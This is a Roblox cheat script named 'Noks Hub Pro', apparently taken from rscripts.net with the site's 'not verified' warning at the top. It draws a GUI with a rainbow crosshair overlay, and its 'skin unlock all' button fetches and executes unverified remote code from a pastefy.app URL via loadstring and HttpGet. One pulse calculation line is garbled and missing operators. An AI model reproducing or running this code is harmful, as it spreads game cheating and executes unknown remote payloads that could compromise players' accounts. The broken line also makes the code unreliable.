-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] -- Noks Hub Pro local Players = game:GetService("Players") local player = Players.LocalPlayer local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local isRainbowEnabled = false local crosshairParts = {} local rotationConnection = nil local colorConnection = nil local angle = 0 local pulseTime = 0 local uiHue = 0 local isUIMinimized = false local crosshairOffsetX = 0 local crosshairOffsetY = 0 local isDragging = false local dragStartX = 0 local dragStartY = 0 local dragOffsetX = 0 local dragOffsetY = 0 local isFixed = false local lineLength = 25 local gapDistance = 8 local pulseSpeed = 12 local framePosition = nil local screenGui = Instance.new("ScreenGui") screenGui.Name = "NoksHubPro" screenGui.Parent = game:GetService("CoreGui") local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 420, 0, 350) frame.Position = UDim2.new(0.5, -210, 0.5, -175) frame.BackgroundColor3 = Color3.fromRGB(10, 10, 25) frame.BackgroundTransparency = 0.05 frame.Active = true frame.Draggable = true frame.Parent = screenGui framePosition = frame.Position local function updateUIBorder() uiHue = (uiHue + 0.01) % 1 local color = Color3.fromHSV(uiHue, 1, 1) frame.BorderColor3 = color frame.BorderSizePixel = 3 return color end local header = Instance.new("Frame") header.Size = UDim2.new(1, 0, 0, 50) header.Position = UDim2.new(0, 0, 0, 0) header.BackgroundColor3 = Color3.fromRGB(25, 20, 50) header.Parent = frame local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -80, 1, 0) title.Position = UDim2.new(0, 10, 0, 0) title.Text = "Noks Hub Pro" title.BackgroundTransparency = 1 title.Font = Enum.Font.GothamBold title.TextSize = 20 title.TextXAlignment = Enum.TextXAlignment.Left title.Parent = header local allButtons = {} local allUIParts = {} local allTextLabels = {} local function updateUIRainbow() local color = updateUIBorder() title.TextColor3 = color header.BackgroundColor3 = Color3.fromHSV(uiHue, 0.5, 0.3) for _, btn in pairs(allButtons) do if btn and btn.Parent then btn.BackgroundColor3 = color end end for _, label in pairs(allTextLabels) do if label and label.Parent then label.TextColor3 = color end end end local uiRainbowConnection = nil local function startUIRainbow() if uiRainbowConnection then uiRainbowConnection:Disconnect() uiRainbowConnection = nil end uiRainbowConnection = RunService.Heartbeat:Connect(function() updateUIRainbow() end) end local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 30, 0, 30) closeBtn.Position = UDim2.new(1, -35, 0, 10) closeBtn.Text = "X" closeBtn.TextColor3 = Color3.fromRGB(255, 255, 255) closeBtn.Font = Enum.Font.GothamBold closeBtn.TextSize = 16 closeBtn.Parent = header table.insert(allButtons, closeBtn) local minBtn = Instance.new("TextButton") minBtn.Size = UDim2.new(0, 30, 0, 30) minBtn.Position = UDim2.new(1, -70, 0, 10) minBtn.Text = "-" minBtn.TextColor3 = Color3.fromRGB(255, 255, 255) minBtn.Font = Enum.Font.GothamBold minBtn.TextSize = 20 minBtn.Parent = header table.insert(allButtons, minBtn) local function collectUIParts() allUIParts = {} allTextLabels = {} for _, child in pairs(frame:GetChildren()) do if child ~= header and child ~= title and child ~= closeBtn and child ~= minBtn then table.insert(allUIParts, child) if child:IsA("TextLabel") then table.insert(allTextLabels, child) end for _, subChild in pairs(child:GetChildren()) do if subChild:IsA("TextLabel") then table.insert(allTextLabels, subChild) end end end end for _, child in pairs(header:GetChildren()) do if child:IsA("TextLabel") and child ~= title then table.insert(allTextLabels, child) end end end local function toggleMinimize() isUIMinimized = not isUIMinimized if isUIMinimized then minBtn.Text = "+" framePosition = frame.Position frame.Size = UDim2.new(0, 200, 0, 50) for _, part in pairs(allUIParts) do part.Visible = false end title.Size = UDim2.new(1, -80, 1, 0) title.TextSize = 18 else minBtn.Text = "-" frame.Size = UDim2.new(0, 420, 0, 350) if framePosition then frame.Position = framePosition end for _, part in pairs(allUIParts) do part.Visible = true end title.Size = UDim2.new(1, -80, 1, 0) title.TextSize = 20 end end local line1 = Instance.new("Frame") line1.Size = UDim2.new(1, -20, 0, 2) line1.Position = UDim2.new(0, 10, 0, 135) line1.BackgroundColor3 = Color3.fromRGB(60, 60, 80) line1.Parent = frame local line2 = Instance.new("Frame") line2.Size = UDim2.new(1, -20, 0, 2) line2.Position = UDim2.new(0, 10, 0, 225) line2.BackgroundColor3 = Color3.fromRGB(60, 60, 80) line2.Parent = frame local skinStatus = Instance.new("TextLabel") skinStatus.Size = UDim2.new(1, -20, 0, 25) skinStatus.Position = UDim2.new(0, 10, 0, 55) skinStatus.Text = "Skin Unlock: Ready" skinStatus.BackgroundTransparency = 1 skinStatus.Font = Enum.Font.Gotham skinStatus.TextSize = 14 skinStatus.TextXAlignment = Enum.TextXAlignment.Left skinStatus.Parent = frame table.insert(allTextLabels, skinStatus) local unlockBtn = Instance.new("TextButton") unlockBtn.Size = UDim2.new(1, -20, 0, 45) unlockBtn.Position = UDim2.new(0, 10, 0, 85) unlockBtn.Text = "skin unlock all" unlockBtn.TextColor3 = Color3.fromRGB(255, 255, 255) unlockBtn.Font = Enum.Font.GothamBold unlockBtn.TextSize = 18 unlockBtn.Parent = frame table.insert(allButtons, unlockBtn) local isLoading = false local function showSkinLoading() isLoading = true unlockBtn.Text = "Loading..." skinStatus.Text = "Skin Unlock: Running" end local function showSkinComplete() isLoading = false unlockBtn.Text = "Done!" skinStatus.Text = "Skin Unlock: Complete" task.wait(2) unlockBtn.Text = "skin unlock all" skinStatus.Text = "Skin Unlock: Ready" end local function showSkinError() isLoading = false unlockBtn.Text = "Error" skinStatus.Text = "Skin Unlock: Error" task.wait(2) unlockBtn.Text = "skin unlock all" skinStatus.Text = "Skin Unlock: Ready" end local function runExternalScript() if isLoading then return end showSkinLoading() local success, result = pcall(function() return loadstring(game:HttpGet("https://pastefy.app/hr6aouJe/raw"))() end) if success then showSkinComplete() else showSkinError() end end local crosshairStatus = Instance.new("TextLabel") crosshairStatus.Size = UDim2.new(1, -20, 0, 25) crosshairStatus.Position = UDim2.new(0, 10, 0, 145) crosshairStatus.Text = "Crosshair: OFF" crosshairStatus.BackgroundTransparency = 1 crosshairStatus.Font = Enum.Font.Gotham crosshairStatus.TextSize = 14 crosshairStatus.TextXAlignment = Enum.TextXAlignment.Left crosshairStatus.Parent = frame table.insert(allTextLabels, crosshairStatus) local crosshairBtn = Instance.new("TextButton") crosshairBtn.Size = UDim2.new(1, -20, 0, 45) crosshairBtn.Position = UDim2.new(0, 10, 0, 175) crosshairBtn.Text = "Rainbow crosshair : OFF" crosshairBtn.TextColor3 = Color3.fromRGB(255, 255, 255) crosshairBtn.Font = Enum.Font.GothamBold crosshairBtn.TextSize = 16 crosshairBtn.Parent = frame table.insert(allButtons, crosshairBtn) local fixBtn = Instance.new("TextButton") fixBtn.Size = UDim2.new(0.32, -5, 0, 30) fixBtn.Position = UDim2.new(0, 10, 0, 228) fixBtn.Text = "Fix: OFF" fixBtn.TextColor3 = Color3.fromRGB(255, 255, 255) fixBtn.Font = Enum.Font.GothamBold fixBtn.TextSize = 13 fixBtn.Parent = frame table.insert(allButtons, fixBtn) local resetPosBtn = Instance.new("TextButton") resetPosBtn.Size = UDim2.new(0.32, -5, 0, 30) resetPosBtn.Position = UDim2.new(0.34, 0, 0, 228) resetPosBtn.Text = "Reset Pos" resetPosBtn.TextColor3 = Color3.fromRGB(255, 255, 255) resetPosBtn.Font = Enum.Font.Gotham resetPosBtn.TextSize = 13 resetPosBtn.Parent = frame table.insert(allButtons, resetPosBtn) local centerBtn = Instance.new("TextButton") centerBtn.Size = UDim2.new(0.32, -5, 0, 30) centerBtn.Position = UDim2.new(0.68, 0, 0, 228) centerBtn.Text = "Center" centerBtn.TextColor3 = Color3.fromRGB(255, 255, 255) centerBtn.Font = Enum.Font.Gotham centerBtn.TextSize = 13 centerBtn.Parent = frame table.insert(allButtons, centerBtn) local footer = Instance.new("TextLabel") footer.Size = UDim2.new(1, -20, 0, 30) footer.Position = UDim2.new(0, 10, 0, 268) footer.Text = "" footer.BackgroundTransparency = 1 footer.Font = Enum.Font.Gotham footer.TextSize = 11 footer.Parent = frame table.insert(allTextLabels, footer) collectUIParts() local crosshairContainer = nil local pulseConnection = nil local function rebuildCrosshair() if not crosshairContainer then return end local toRemove = {} for i, part in pairs(crosshairParts) do if i > 1 then table.insert(toRemove, part) end end for _, part in pairs(toRemove) do part:Destroy() table.remove(crosshairParts, table.find(crosshairParts, part)) end local thickness = 4 local gap = gapDistance local len = lineLength local function createLine(offsetX, offsetY, sizeX, sizeY) local line = Instance.new("Frame") line.Size = UDim2.new(0, sizeX, 0, sizeY) line.Position = UDim2.new(0.5, offsetX, 0.5, offsetY) line.BackgroundColor3 = Color3.fromRGB(255, 255, 255) line.BackgroundTransparency = 0 line.BorderSizePixel = 0 line.Parent = crosshairContainer table.insert(crosshairParts, line) return line end createLine(-thickness/2, -len - gap/2, thickness, len) createLine(-thickness/2, gap/2, thickness, len) createLine(-len - gap/2, -thickness/2, len, thickness) createLine(gap/2, -thickness/2, len, thickness) end local function updatePulse() if not isRainbowEnabled then return end if not crosshairContainer then return end pulseTime = pulseTime + 0.01 local phase = math.sin(pulseTime pulseSpeed) 0.5 + 0.5 local minGap = 6 local maxGap = 40 gapDistance = minGap + (maxGap - minGap) * phase rebuildCrosshair() end local function createCrosshair() for _, part in pairs(crosshairParts) do part:Destroy() end crosshairParts = {} if crosshairContainer then crosshairContainer:Destroy() crosshairContainer = nil end crosshairContainer = Instance.new("Frame") crosshairContainer.Size = UDim2.new(0, 0, 0, 0) crosshairContainer.Position = UDim2.new(0.5, crosshairOffsetX, 0.5, crosshairOffsetY) crosshairContainer.BackgroundTransparency = 1 crosshairContainer.Parent = screenGui local dragArea = Instance.new("Frame") dragArea.Size = UDim2.new(0, 200, 0, 200) dragArea.Position = UDim2.new(0.5, -100, 0.5, -100) dragArea.BackgroundTransparency = 1 dragArea.Parent = crosshairContainer dragArea.InputBegan:Connect(function(input) if isFixed then return end if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then isDragging = true local pos = input.Position dragStartX = pos.X dragStartY = pos.Y dragOffsetX = crosshairOffsetX dragOffsetY = crosshairOffsetY end end) dragArea.InputChanged:Connect(function(input) if isFixed then return end if isDragging then if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local pos = input.Position local deltaX = pos.X - dragStartX local deltaY = pos.Y - dragStartY crosshairOffsetX = dragOffsetX + deltaX crosshairOffsetY = dragOffsetY + deltaY if crosshairContainer then crosshairContainer.Position = UDim2.new(0.5, crosshairOffsetX, 0.5, crosshairOffsetY) end end end end) dragArea.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then isDragging = false end end) local thickness = 4 local gap = gapDistance local len = lineLength local center = Instance.new("Frame") center.Size = UDim2.new(0, thickness, 0, thickness) center.Position = UDim2.new(0.5, -thickness/2, 0.5, -thickness/2) center.BackgroundColor3 = Color3.fromRGB(255, 255, 255) center.BackgroundTransparency = 0 center.BorderSizePixel = 0 center.Parent = crosshairContainer table.insert(crosshairParts, center) local function createLine(offsetX, offsetY, sizeX, sizeY) local line = Instance.new("Frame") line.Size = UDim2.new(0, sizeX, 0, sizeY) line.Position = UDim2.new(0.5, offsetX, 0.5, offsetY) line.BackgroundColor3 = Color3.fromRGB(255, 255, 255) line.BackgroundTransparency = 0 line.BorderSizePixel = 0 line.Parent = crosshairContainer table.insert(crosshairParts, line) return line end createLine(-thickness/2, -len - gap/2, thickness, len) createLine(-thickness/2, gap/2, thickness, len) createLine(-len - gap/2, -thickness/2, len, thickness) createLine(gap/2, -thickness/2, len, thickness) end local function rotateCrosshairPhysical(angleDeg) if crosshairContainer then crosshairContainer.Rotation = angleDeg end end local function updateRainbowColors() if not isRainbowEnabled then return end local hue = 0 colorConnection = RunService.Heartbeat:Connect(function() if not isRainbowEnabled then colorConnection:Disconnect() return end hue = (hue + 0.008) % 1 local color = Color3.fromHSV(hue, 1, 1) for _, part in pairs(crosshairParts) do part.BackgroundColor3 = color end end) end local function startRotation() if rotationConnection then rotationConnection:Disconnect() rotationConnection = nil end angle = 0 rotationConnection = RunService.Heartbeat:Connect(function(dt) if not isRainbowEnabled then rotationConnection:Disconnect() rotationConnection = nil return end angle = (angle + dt * 180) % 360 rotateCrosshairPhysical(angle) end) end local function startPulse() if pulseConnection then pulseConnection:Disconnect() pulseConnection = nil end pulseTime = 0 pulseConnection = RunService.Heartbeat:Connect(function() if not isRainbowEnabled then pulseConnection:Disconnect() pulseConnection = nil return end updatePulse() end) end local function resetCrosshairPosition() crosshairOffsetX = 0 crosshairOffsetY = 0 if crosshairContainer then crosshairContainer.Position = UDim2.new(0.5, 0, 0.5, 0) end end local function centerCrosshair() crosshairOffsetX = 0 crosshairOffsetY = 0 if crosshairContainer then crosshairContainer.Position = UDim2.new(0.5, 0, 0.5, 0) end end local function toggleFix() isFixed = not isFixed if isFixed then fixBtn.Text = "Fix: ON" else fixBtn.Text = "Fix: OFF" end end local function toggleRainbow() isRainbowEnabled = not isRainbowEnabled if isRainbowEnabled then crosshairBtn.Text = "Rainbow crosshair : ON" crosshairStatus.Text = "Crosshair: ON" gapDistance = 8 createCrosshair() updateRainbowColors() startRotation() startPulse() else crosshairBtn.Text = "Rainbow crosshair : OFF" crosshairStatus.Text = "Crosshair: OFF" if crosshairContainer then crosshairContainer:Destroy() crosshairContainer = nil end crosshairParts = {} if colorConnection then colorConnection:Disconnect() colorConnection = nil end if rotationConnection then rotationConnection:Disconnect() rotationConnection = nil end if pulseConnection then pulseConnection:Disconnect() pulseConnection = nil end end end unlockBtn.MouseButton1Click:Connect(runExternalScript) crosshairBtn.MouseButton1Click:Connect(toggleRainbow) fixBtn.MouseButton1Click:Connect(toggleFix) resetPosBtn.MouseButton1Click:Connect(resetCrosshairPosition) centerBtn.MouseButton1Click:Connect(centerCrosshair) startUIRainbow() minBtn.MouseButton1Click:Connect(toggleMinimize) closeBtn.MouseButton1Click:Connect(function() frame.Visible = false end) print("Noks Hub Pro Loaded!")